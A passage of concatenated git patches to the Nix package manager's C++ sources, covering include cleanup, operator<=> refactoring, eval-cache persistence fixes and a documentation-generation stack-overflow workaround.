a/src/libstore/machines.hh b/src/libstore/machines.hh index 2a55c4456..983652d5f 100644 --- a/src/libstore/machines.hh +++ b/src/libstore/machines.hh @@ -1,7 +1,7 @@ #pragma once ///@file -#include "types.hh" +#include "ref.hh" #include "store-reference.hh" namespace nix { diff --git a/src/libstore/misc.cc b/src/libstore/misc.cc index cc3f4884f..dd0efbe19 100644 --- a/src/libstore/misc.cc +++ b/src/libstore/misc.cc @@ -1,3 +1,5 @@ +#include + #include "derivations.hh" #include "parsed-derivations.hh" #include "globals.hh" diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index b1079b027..6376efbf4 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -3,7 +3,6 @@ #include #include -#include #include diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh index 67bc5dc6e..6f3b177ac 100644 --- a/src/libstore/serve-protocol-impl.hh +++ b/src/libstore/serve-protocol-impl.hh @@ -10,7 +10,6 @@ #include "serve-protocol.hh" #include "length-prefixed-protocol-helper.hh" -#include "store-api.hh" namespace nix { diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index a5effb4c1..749d7ea09 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -18,14 +18,10 @@ #include #include -#include #include -#include -#include #include #include #include -#include namespace nix { diff --git a/src/libstore/unix/user-lock.cc b/src/libstore/unix/user-lock.cc index 8057aa13e..29f4b2cb3 100644 --- a/src/libstore/unix/user-lock.cc +++ b/src/libstore/unix/user-lock.cc @@ -1,12 +1,13 @@ +#include +#include +#include + #include "user-lock.hh" #include "file-system.hh" #include "globals.hh" #include "pathlocks.hh" #include "users.hh" -#include -#include - namespace nix { #if __linux__ diff --git a/src/libstore/unix/user-lock.hh b/src/libstore/unix/user-lock.hh index 1c268e1fb..a7caf8518 100644 --- a/src/libstore/unix/user-lock.hh +++ b/src/libstore/unix/user-lock.hh @@ -1,10 +1,8 @@ #pragma once ///@file -#include "types.hh" - -#include - +#include +#include #include namespace nix { diff --git a/src/libutil/args.hh b/src/libutil/args.hh index 7759b74a9..f6e74e67e 100644 --- a/src/libutil/args.hh +++ b/src/libutil/args.hh @@ -1,7 +1,6 @@ #pragma once ///@file -#include #include #include #include @@ -11,6 +10,7 @@ #include "types.hh" #include "experimental-features.hh" +#include "ref.hh" namespace nix { diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 1fe98077e..8cc8fb303 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -16,16 +16,12 @@ */ #include "suggestions.hh" -#include "ref.hh" -#include "types.hh" #include "fmt.hh" #include #include #include -#include #include -#include #include #include diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index 4c7218f19..ec42d3d34 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -2,8 +2,6 @@ ///@file #include "source-accessor.hh" -#include "fs-sink.hh" -#include "util.hh" namespace nix { diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh index 774c0d942..de165fb7d 100644 --- a/src/libutil/fs-sink.hh +++ b/src/libutil/fs-sink.hh @@ -1,7 +1,6 @@ #pragma once ///@file -#include "types.hh" #include "serialise.hh" #include "source-accessor.hh" #include "file-system.hh" diff --git a/src/libutil/logging.hh b/src/libutil/logging.hh index 9e81132e3..250f92099 100644 --- a/src/libutil/logging.hh +++ b/src/libutil/logging.hh @@ -1,7 +1,6 @@ #pragma once ///@file -#include "types.hh" #include "error.hh" #include "config.hh" diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh index 03aa64273..8318251bd 100644 --- a/src/libutil/ref.hh +++ b/src/libutil/ref.hh @@ -1,9 +1,7 @@ #pragma once ///@file -#include #include -#include #include namespace nix { diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index cc8db01f5..32ab3685d 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -4,6 +4,7 @@ #include "canon-path.hh" #include "hash.hh" +#include "ref.hh" namespace nix { diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh index 902e75945..7ff05a487 100644 --- a/src/libutil/terminal.hh +++ b/src/libutil/terminal.hh @@ -1,7 +1,8 @@ #pragma once ///@file -#include "types.hh" +#include +#include namespace nix { /** diff --git a/src/libutil/types.hh b/src/libutil/types.hh index c86f52175..325e3ea73 100644 --- a/src/libutil/types.hh +++ b/src/libutil/types.hh @@ -1,12 +1,10 @@ #pragma once ///@file -#include "ref.hh" #include #include #include -#include #include #include #include diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index d0840a02e..f073074e8 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -2,13 +2,11 @@ #include "derivations.hh" #include "dotgraph.hh" #include "globals.hh" -#include "build-result.hh" #include "store-cast.hh" #include "local-fs-store.hh" #include "log-store.hh" #include "serve-protocol.hh" #include "serve-protocol-connection.hh" -#include "serve-protocol-impl.hh" #include "shared.hh" #include "graphml.hh" #include "legacy.hh" @@ -23,12 +21,14 @@ #include #include -#include #include #include #include +#include "build-result.hh" +#include "exit.hh" +#include "serve-protocol-impl.hh" namespace nix_store { diff --git a/src/nix/config-check.cc b/src/nix/config-check.cc index 9575bf338..09d140733 100644 --- a/src/nix/config-check.cc +++ b/src/nix/config-check.cc @@ -1,6 +1,7 @@ #include #include "command.hh" +#include "exit.hh" #include "logging.hh" #include "serve-protocol.hh" #include "shared.hh" diff --git a/src/nix/env.cc b/src/nix/env.cc index 021c47cbb..bc9cd91ad 100644 --- a/src/nix/env.cc +++ b/src/nix/env.cc @@ -1,6 +1,8 @@ +#include +#include + #include "command.hh" #include "run.hh" -#include using namespace nix; diff --git a/src/nix/flake.cc b/src/nix/flake.cc index b65c7f59d..896425c5a 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -19,7 +19,6 @@ #include "users.hh" #include -#include #include using namespace nix; diff --git a/src/nix/main.cc b/src/nix/main.cc index 775052351..ec3e2a406 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -1,9 +1,8 @@ -#include - #include "args/root.hh" #include "current-process.hh" #include "command.hh" #include "common-args.hh" +#include "eval-gc.hh" #include "eval.hh" #include "eval-settings.hh" #include "globals.hh" diff --git a/src/nix/verify.cc b/src/nix/verify.cc index 2a0cbd19f..124a05bed 100644 --- a/src/nix/verify.cc +++ b/src/nix/verify.cc @@ -1,14 +1,14 @@ #include "command.hh" #include "shared.hh" #include "store-api.hh" -#include "sync.hh" #include "thread-pool.hh" -#include "references.hh" #include "signals.hh" #include "keys.hh" #include +#include "exit.hh" + using namespace nix; struct CmdVerify : StorePathsCommand diff --git a/tests/unit/libexpr-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh index eacbf0d5c..bfb425bff 100644 --- a/tests/unit/libexpr-support/tests/libexpr.hh +++ b/tests/unit/libexpr-support/tests/libexpr.hh @@ -7,9 +7,9 @@ #include "value.hh" #include "nixexpr.hh" #include "eval.hh" +#include "eval-gc.hh" #include "eval-inline.hh" #include "eval-settings.hh" -#include "store-api.hh" #include "tests/libstore.hh" From 27eaeebc4164341afdbbede8bf33ec71ce866a5b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 15:38:17 +0200 Subject: [PATCH 1044/1251] nar-accessor.cc: Silence unused variable warning --- src/libstore/nar-accessor.cc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index 6376efbf4..9a541bb77 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -73,7 +73,10 @@ struct NarAccessor : public SourceAccessor NarMember & createMember(const CanonPath & path, NarMember member) { size_t level = 0; - for (auto _ : path) ++level; + for (auto _ : path) { + (void)_; + ++level; + } while (parents.size() > level) parents.pop(); From 51a12b38bda241623aa12a400c066f0b3a95606a Mon Sep 17 00:00:00 2001 From: Andrew Marshall Date: Fri, 12 Jul 2024 09:17:31 -0400 Subject: [PATCH 1045/1251] Fix stackoverflow during doc generation On some systems, previous usage of `match` may cause a stackoverflow (presumably due to the large size of the match result). Avoid this by (ab)using `replaceStrings` to test for containment without using regexes, thereby avoiding the issue. The causal configuration seems to be the stack size hard limit, which e.g. Amazon Linux sets, whereas most Linux distros leave unlimited. Match the fn name to similar fn in nixpkgs.lib, but different implementation that does not use `match`. This impl gives perhaps unexpected results when the needle is `""`, but the scope of this is narrow and that case is a bit odd anyway. This makes for some duplication-of-work as we do a different `replaceStrings` if this one is true, but this only runs during doc generation at build time so has no runtime impact. See https://github.com/NixOS/nix/issues/11085 for details. --- doc/manual/generate-manpage.nix | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/manual/generate-manpage.nix b/doc/manual/generate-manpage.nix index ba5667a43..90eaa1a73 100644 --- a/doc/manual/generate-manpage.nix +++ b/doc/manual/generate-manpage.nix @@ -116,9 +116,12 @@ let storeInfo = commandInfo.stores; inherit inlineHTML; }; + hasInfix = infix: content: + builtins.stringLength content != builtins.stringLength (replaceStrings [ infix ] [ "" ] content); in optionalString (details ? doc) ( - if match ".*@store-types@.*" details.doc != null + # An alternate implementation with builtins.match stack overflowed on some systems. + if hasInfix "@store-types@" details.doc then help-stores else details.doc ); From 11a6db5993426940f9746623005114e735658c9d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 12 Jul 2024 17:37:27 +0200 Subject: [PATCH 1046/1251] Remove unused operator<=>'s that darwin can't generate It was complaining *a lot*, with dozens of MB of logs. --- src/libstore/content-address.hh | 8 -------- src/libstore/store-reference.hh | 1 - 2 files changed, 9 deletions(-) diff --git a/src/libstore/content-address.hh b/src/libstore/content-address.hh index 6cc3b7cd9..270e04789 100644 --- a/src/libstore/content-address.hh +++ b/src/libstore/content-address.hh @@ -217,8 +217,6 @@ struct StoreReferences * iff self is true. */ size_t size() const; - - auto operator <=>(const StoreReferences &) const = default; }; // This matches the additional info that we need for makeTextPath @@ -234,8 +232,6 @@ struct TextInfo * disallowed */ StorePathSet references; - - auto operator <=>(const TextInfo &) const = default; }; struct FixedOutputInfo @@ -254,8 +250,6 @@ struct FixedOutputInfo * References to other store objects or this one. */ StoreReferences references; - - auto operator <=>(const FixedOutputInfo &) const = default; }; /** @@ -272,8 +266,6 @@ struct ContentAddressWithReferences Raw raw; - auto operator <=>(const ContentAddressWithReferences &) const = default; - MAKE_WRAPPER_CONSTRUCTOR(ContentAddressWithReferences); /** diff --git a/src/libstore/store-reference.hh b/src/libstore/store-reference.hh index e99335c0d..459cea9c2 100644 --- a/src/libstore/store-reference.hh +++ b/src/libstore/store-reference.hh @@ -71,7 +71,6 @@ struct StoreReference Params params; bool operator==(const StoreReference & rhs) const = default; - auto operator<=>(const StoreReference & rhs) const = default; /** * Render the whole store reference as a URI, including parameters. From cdc23b67a66ff3daf495b8d1e5b199095e01bac9 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 6 Jun 2024 19:12:36 +0200 Subject: [PATCH 1047/1251] Provide std::hash --- src/libexpr/eval.cc | 6 +++--- src/libexpr/eval.hh | 10 +++++----- src/libutil/source-path.hh | 11 +++++++++++ 3 files changed, 19 insertions(+), 8 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 72ae159cb..584828a09 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1011,7 +1011,7 @@ void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) if (!e) e = parseExprFromFile(resolvedPath); - fileParseCache[resolvedPath] = e; + fileParseCache.emplace(resolvedPath, e); try { auto dts = debugRepl @@ -1034,8 +1034,8 @@ void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) throw; } - fileEvalCache[resolvedPath] = v; - if (path != resolvedPath) fileEvalCache[path] = v; + fileEvalCache.emplace(resolvedPath, v); + if (path != resolvedPath) fileEvalCache.emplace(path, v); } diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 7dbf61c5d..d368bc049 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -307,15 +307,15 @@ private: /* Cache for calls to addToStore(); maps source paths to the store paths. */ - Sync> srcToStore; + Sync> srcToStore; /** * A cache from path names to parse trees. */ #if HAVE_BOEHMGC - typedef std::map, traceable_allocator>> FileParseCache; + typedef std::unordered_map, std::equal_to, traceable_allocator>> FileParseCache; #else - typedef std::map FileParseCache; + typedef std::unordered_map FileParseCache; #endif FileParseCache fileParseCache; @@ -323,9 +323,9 @@ private: * A cache from path names to values. */ #if HAVE_BOEHMGC - typedef std::map, traceable_allocator>> FileEvalCache; + typedef std::unordered_map, std::equal_to, traceable_allocator>> FileEvalCache; #else - typedef std::map FileEvalCache; + typedef std::unordered_map FileEvalCache; #endif FileEvalCache fileEvalCache; diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 83ec6295d..941744127 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -115,8 +115,19 @@ struct SourcePath { return {accessor, accessor->resolveSymlinks(path, mode)}; } + + friend class std::hash; }; std::ostream & operator << (std::ostream & str, const SourcePath & path); } + +template<> +struct std::hash +{ + std::size_t operator()(const nix::SourcePath & s) const noexcept + { + return std::hash{}(s.path); + } +}; From e764ed31f61308690a9a8a5dc6f20e570b7de262 Mon Sep 17 00:00:00 2001 From: Lexi Mattick Date: Fri, 12 Jul 2024 09:45:35 -0700 Subject: [PATCH 1048/1251] Eval cache: fix cache regressions - Fix eval cache not being persisted in `nix develop` (since #10570) - Don't attempt to commit cache transaction if there is no active transaction, which will spew errors in edge cases - Drive-by: trivial typo fix --- src/libcmd/installable-value.hh | 2 +- src/libexpr/eval-cache.cc | 2 +- src/nix/develop.cc | 4 ++++ 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/libcmd/installable-value.hh b/src/libcmd/installable-value.hh index f300d392b..798cb5e1a 100644 --- a/src/libcmd/installable-value.hh +++ b/src/libcmd/installable-value.hh @@ -66,7 +66,7 @@ struct ExtraPathInfoValue : ExtraPathInfo }; /** - * An Installable which corresponds a Nix langauge value, in addition to + * An Installable which corresponds a Nix language value, in addition to * a collection of \ref DerivedPath "derived paths". */ struct InstallableValue : Installable diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 2630c34d5..5085fedc2 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -95,7 +95,7 @@ struct AttrDb { try { auto state(_state->lock()); - if (!failed) + if (!failed && state->txn->active) state->txn->commit(); state->txn.reset(); } catch (...) { diff --git a/src/nix/develop.cc b/src/nix/develop.cc index 6bd3dc9ef..b89de5d5c 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -697,6 +697,10 @@ struct CmdDevelop : Common, MixEnvironment } } + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + getEvalState()->evalCaches.clear(); + runProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem()); #endif } From 6c4470ec2a495fc201447aa8fca63c71f9849fe6 Mon Sep 17 00:00:00 2001 From: Lexi Mattick Date: Fri, 12 Jul 2024 11:54:12 -0700 Subject: [PATCH 1049/1251] Clean up cache for all commands --- src/nix/develop.cc | 2 +- src/nix/env.cc | 7 ++++++- src/nix/fmt.cc | 7 ++++++- src/nix/run.cc | 8 ++++++-- src/nix/run.hh | 2 +- 5 files changed, 20 insertions(+), 6 deletions(-) diff --git a/src/nix/develop.cc b/src/nix/develop.cc index b89de5d5c..84237be85 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -701,7 +701,7 @@ struct CmdDevelop : Common, MixEnvironment // we are about to exec out of this process without running C++ destructors. getEvalState()->evalCaches.clear(); - runProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem()); + execProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem()); #endif } }; diff --git a/src/nix/env.cc b/src/nix/env.cc index 021c47cbb..84a87eaee 100644 --- a/src/nix/env.cc +++ b/src/nix/env.cc @@ -1,4 +1,5 @@ #include "command.hh" +#include "eval.hh" #include "run.hh" #include @@ -99,7 +100,11 @@ struct CmdShell : InstallablesCommand, MixEnvironment for (auto & arg : command) args.push_back(arg); - runProgramInStore(store, UseLookupPath::Use, *command.begin(), args); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + getEvalState()->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::Use, *command.begin(), args); } }; diff --git a/src/nix/fmt.cc b/src/nix/fmt.cc index 4b0fbb89d..d65834495 100644 --- a/src/nix/fmt.cc +++ b/src/nix/fmt.cc @@ -1,5 +1,6 @@ #include "command.hh" #include "installable-value.hh" +#include "eval.hh" #include "run.hh" using namespace nix; @@ -49,7 +50,11 @@ struct CmdFmt : SourceExprCommand { } } - runProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + evalState->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs); }; }; diff --git a/src/nix/run.cc b/src/nix/run.cc index c1aae1685..ec6a4d1e8 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -25,7 +25,7 @@ std::string chrootHelperName = "__run_in_chroot"; namespace nix { -void runProgramInStore(ref store, +void execProgramInStore(ref store, UseLookupPath useLookupPath, const std::string & program, const Strings & args, @@ -128,7 +128,11 @@ struct CmdRun : InstallableValueCommand Strings allArgs{app.program}; for (auto & i : args) allArgs.push_back(i); - runProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + state->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs); } }; diff --git a/src/nix/run.hh b/src/nix/run.hh index 2fe6ed86a..51517fdc9 100644 --- a/src/nix/run.hh +++ b/src/nix/run.hh @@ -10,7 +10,7 @@ enum struct UseLookupPath { DontUse }; -void runProgramInStore(ref store, +void execProgramInStore(ref store, UseLookupPath useLookupPath, const std::string & program, const Strings & args, From bc83b9dc1fbf52ca7aabee275264a8fb850bbb9b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 16 May 2024 18:46:38 -0400 Subject: [PATCH 1050/1251] Remove `comparator.hh` and switch to `<=>` in a bunch of places Known behavior changes: - `MemorySourceAccessor`'s comparison operators no longer forget to compare the `SourceAccessor` base class. Progress on #10832 What remains for that issue is hopefully much easier! --- src/libcmd/built-path.cc | 39 ++++++++---------- src/libcmd/built-path.hh | 16 ++++++-- src/libexpr-c/nix_api_external.cc | 2 +- src/libexpr/attr-set.hh | 4 +- src/libexpr/eval.cc | 2 +- src/libexpr/pos-idx.hh | 9 +---- src/libexpr/symbol-table.hh | 3 +- src/libexpr/value.hh | 2 +- src/libfetchers/fetchers.cc | 2 +- src/libfetchers/fetchers.hh | 2 +- src/libflake/flake/flakeref.cc | 5 --- src/libflake/flake/flakeref.hh | 2 +- src/libflake/flake/lockfile.cc | 5 --- src/libflake/flake/lockfile.hh | 3 -- src/libstore/build-result.cc | 14 +------ src/libstore/build-result.hh | 4 +- src/libstore/content-address.hh | 18 +++++++++ src/libstore/derivations.hh | 48 +++++++++++----------- src/libstore/derived-path-map.cc | 19 ++++----- src/libstore/derived-path-map.hh | 34 +++++++++++----- src/libstore/derived-path.cc | 43 +++++++++++--------- src/libstore/derived-path.hh | 18 +++++++-- src/libstore/nar-info.cc | 9 ----- src/libstore/nar-info.hh | 4 +- src/libstore/outputs-spec.hh | 12 ++++-- src/libstore/path-info.cc | 8 +--- src/libstore/path-info.hh | 44 +++++++++++++++++++-- src/libutil/args.cc | 3 +- src/libutil/args.hh | 2 +- src/libutil/canon-path.hh | 7 ++-- src/libutil/comparator.hh | 57 +++++++-------------------- src/libutil/error.cc | 17 +++----- src/libutil/error.hh | 5 +-- src/libutil/experimental-features.hh | 1 - src/libutil/git.hh | 3 +- src/libutil/hash.cc | 4 +- src/libutil/hash.hh | 4 +- src/libutil/memory-source-accessor.hh | 34 +++++++++++++--- src/libutil/position.cc | 6 --- src/libutil/position.hh | 19 ++++----- src/libutil/ref.hh | 4 +- src/libutil/source-accessor.hh | 4 +- src/libutil/source-path.cc | 11 ++---- src/libutil/source-path.hh | 5 +-- src/libutil/suggestions.hh | 4 +- src/libutil/url.cc | 2 +- src/libutil/url.hh | 2 +- src/nix/profile.cc | 4 +- tests/unit/libutil/git.cc | 2 +- 49 files changed, 300 insertions(+), 271 deletions(-) diff --git a/src/libcmd/built-path.cc b/src/libcmd/built-path.cc index c5eb93c5d..905e70f32 100644 --- a/src/libcmd/built-path.cc +++ b/src/libcmd/built-path.cc @@ -1,6 +1,7 @@ #include "built-path.hh" #include "derivations.hh" #include "store-api.hh" +#include "comparator.hh" #include @@ -8,30 +9,24 @@ namespace nix { -#define CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, COMPARATOR) \ - bool MY_TYPE ::operator COMPARATOR (const MY_TYPE & other) const \ - { \ - const MY_TYPE* me = this; \ - auto fields1 = std::tie(*me->drvPath, me->FIELD); \ - me = &other; \ - auto fields2 = std::tie(*me->drvPath, me->FIELD); \ - return fields1 COMPARATOR fields2; \ - } -#define CMP(CHILD_TYPE, MY_TYPE, FIELD) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, ==) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, !=) \ - CMP_ONE(CHILD_TYPE, MY_TYPE, FIELD, <) +// Custom implementation to avoid `ref` ptr equality +GENERATE_CMP_EXT( + , + std::strong_ordering, + SingleBuiltPathBuilt, + *me->drvPath, + me->output); -#define FIELD_TYPE std::pair -CMP(SingleBuiltPath, SingleBuiltPathBuilt, output) -#undef FIELD_TYPE +// Custom implementation to avoid `ref` ptr equality -#define FIELD_TYPE std::map -CMP(SingleBuiltPath, BuiltPathBuilt, outputs) -#undef FIELD_TYPE - -#undef CMP -#undef CMP_ONE +// TODO no `GENERATE_CMP_EXT` because no `std::set::operator<=>` on +// Darwin, per header. +GENERATE_EQUAL( + , + BuiltPathBuilt ::, + BuiltPathBuilt, + *me->drvPath, + me->outputs); StorePath SingleBuiltPath::outPath() const { diff --git a/src/libcmd/built-path.hh b/src/libcmd/built-path.hh index 99917e0ee..dc78d3e59 100644 --- a/src/libcmd/built-path.hh +++ b/src/libcmd/built-path.hh @@ -18,7 +18,8 @@ struct SingleBuiltPathBuilt { static SingleBuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; - DECLARE_CMP(SingleBuiltPathBuilt); + bool operator ==(const SingleBuiltPathBuilt &) const noexcept; + std::strong_ordering operator <=>(const SingleBuiltPathBuilt &) const noexcept; }; using _SingleBuiltPathRaw = std::variant< @@ -33,6 +34,9 @@ struct SingleBuiltPath : _SingleBuiltPathRaw { using Opaque = DerivedPathOpaque; using Built = SingleBuiltPathBuilt; + bool operator == (const SingleBuiltPath &) const = default; + auto operator <=> (const SingleBuiltPath &) const = default; + inline const Raw & raw() const { return static_cast(*this); } @@ -59,11 +63,13 @@ struct BuiltPathBuilt { ref drvPath; std::map outputs; + bool operator == (const BuiltPathBuilt &) const noexcept; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //std::strong_ordering operator <=> (const BuiltPathBuilt &) const noexcept; + std::string to_string(const StoreDirConfig & store) const; static BuiltPathBuilt parse(const StoreDirConfig & store, std::string_view, std::string_view); nlohmann::json toJSON(const StoreDirConfig & store) const; - - DECLARE_CMP(BuiltPathBuilt); }; using _BuiltPathRaw = std::variant< @@ -82,6 +88,10 @@ struct BuiltPath : _BuiltPathRaw { using Opaque = DerivedPathOpaque; using Built = BuiltPathBuilt; + bool operator == (const BuiltPath &) const = default; + // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. + //auto operator <=> (const BuiltPath &) const = default; + inline const Raw & raw() const { return static_cast(*this); } diff --git a/src/libexpr-c/nix_api_external.cc b/src/libexpr-c/nix_api_external.cc index 3c3dd6ca9..3565092a4 100644 --- a/src/libexpr-c/nix_api_external.cc +++ b/src/libexpr-c/nix_api_external.cc @@ -115,7 +115,7 @@ public: /** * Compare to another value of the same type. */ - virtual bool operator==(const ExternalValueBase & b) const override + virtual bool operator==(const ExternalValueBase & b) const noexcept override { if (!desc.equal) { return false; diff --git a/src/libexpr/attr-set.hh b/src/libexpr/attr-set.hh index 9d10783d9..4df9a1acd 100644 --- a/src/libexpr/attr-set.hh +++ b/src/libexpr/attr-set.hh @@ -27,9 +27,9 @@ struct Attr Attr(Symbol name, Value * value, PosIdx pos = noPos) : name(name), pos(pos), value(value) { }; Attr() { }; - bool operator < (const Attr & a) const + auto operator <=> (const Attr & a) const { - return name < a.name; + return name <=> a.name; } }; diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 72ae159cb..2ede55de7 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2842,7 +2842,7 @@ std::string ExternalValueBase::coerceToString(EvalState & state, const PosIdx & } -bool ExternalValueBase::operator==(const ExternalValueBase & b) const +bool ExternalValueBase::operator==(const ExternalValueBase & b) const noexcept { return false; } diff --git a/src/libexpr/pos-idx.hh b/src/libexpr/pos-idx.hh index e94fd85c6..e13491560 100644 --- a/src/libexpr/pos-idx.hh +++ b/src/libexpr/pos-idx.hh @@ -28,20 +28,15 @@ public: return id > 0; } - bool operator<(const PosIdx other) const + auto operator<=>(const PosIdx other) const { - return id < other.id; + return id <=> other.id; } bool operator==(const PosIdx other) const { return id == other.id; } - - bool operator!=(const PosIdx other) const - { - return id != other.id; - } }; inline PosIdx noPos = {}; diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index 5c2821492..b85725e12 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -62,9 +62,8 @@ public: explicit operator bool() const { return id > 0; } - bool operator<(const Symbol other) const { return id < other.id; } + auto operator<=>(const Symbol other) const { return id <=> other.id; } bool operator==(const Symbol other) const { return id == other.id; } - bool operator!=(const Symbol other) const { return id != other.id; } }; /** diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 1f7b75f6e..1f4d72d39 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -111,7 +111,7 @@ class ExternalValueBase * Compare to another value of the same type. Defaults to uncomparable, * i.e. always false. */ - virtual bool operator ==(const ExternalValueBase & b) const; + virtual bool operator ==(const ExternalValueBase & b) const noexcept; /** * Print the value as JSON. Defaults to unconvertable, i.e. throws an error diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 59e77621c..dee1f687b 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -150,7 +150,7 @@ Attrs Input::toAttrs() const return attrs; } -bool Input::operator ==(const Input & other) const +bool Input::operator ==(const Input & other) const noexcept { return attrs == other.attrs; } diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index 185987fec..a5f9bdcc6 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -89,7 +89,7 @@ public: */ bool isLocked() const; - bool operator ==(const Input & other) const; + bool operator ==(const Input & other) const noexcept; bool contains(const Input & other) const; diff --git a/src/libflake/flake/flakeref.cc b/src/libflake/flake/flakeref.cc index 941790e0c..a57fce9f3 100644 --- a/src/libflake/flake/flakeref.cc +++ b/src/libflake/flake/flakeref.cc @@ -36,11 +36,6 @@ std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef) return str; } -bool FlakeRef::operator ==(const FlakeRef & other) const -{ - return input == other.input && subdir == other.subdir; -} - FlakeRef FlakeRef::resolve(ref store) const { auto [input2, extraAttrs] = lookupInRegistries(store, input); diff --git a/src/libflake/flake/flakeref.hh b/src/libflake/flake/flakeref.hh index 974cf55a4..1064538a7 100644 --- a/src/libflake/flake/flakeref.hh +++ b/src/libflake/flake/flakeref.hh @@ -46,7 +46,7 @@ struct FlakeRef */ Path subdir; - bool operator==(const FlakeRef & other) const; + bool operator ==(const FlakeRef & other) const = default; FlakeRef(fetchers::Input && input, const Path & subdir) : input(std::move(input)), subdir(subdir) diff --git a/src/libflake/flake/lockfile.cc b/src/libflake/flake/lockfile.cc index 28afba5fe..792dda740 100644 --- a/src/libflake/flake/lockfile.cc +++ b/src/libflake/flake/lockfile.cc @@ -249,11 +249,6 @@ bool LockFile::operator ==(const LockFile & other) const return toJSON().first == other.toJSON().first; } -bool LockFile::operator !=(const LockFile & other) const -{ - return !(*this == other); -} - InputPath parseInputPath(std::string_view s) { InputPath path; diff --git a/src/libflake/flake/lockfile.hh b/src/libflake/flake/lockfile.hh index e269b6c39..841931c11 100644 --- a/src/libflake/flake/lockfile.hh +++ b/src/libflake/flake/lockfile.hh @@ -74,9 +74,6 @@ struct LockFile std::optional isUnlocked() const; bool operator ==(const LockFile & other) const; - // Needed for old gcc versions that don't synthesize it (like gcc 8.2.2 - // that is still the default on aarch64-linux) - bool operator !=(const LockFile & other) const; std::shared_ptr findInput(const InputPath & path); diff --git a/src/libstore/build-result.cc b/src/libstore/build-result.cc index 18f519c5c..96cbfd62f 100644 --- a/src/libstore/build-result.cc +++ b/src/libstore/build-result.cc @@ -2,17 +2,7 @@ namespace nix { 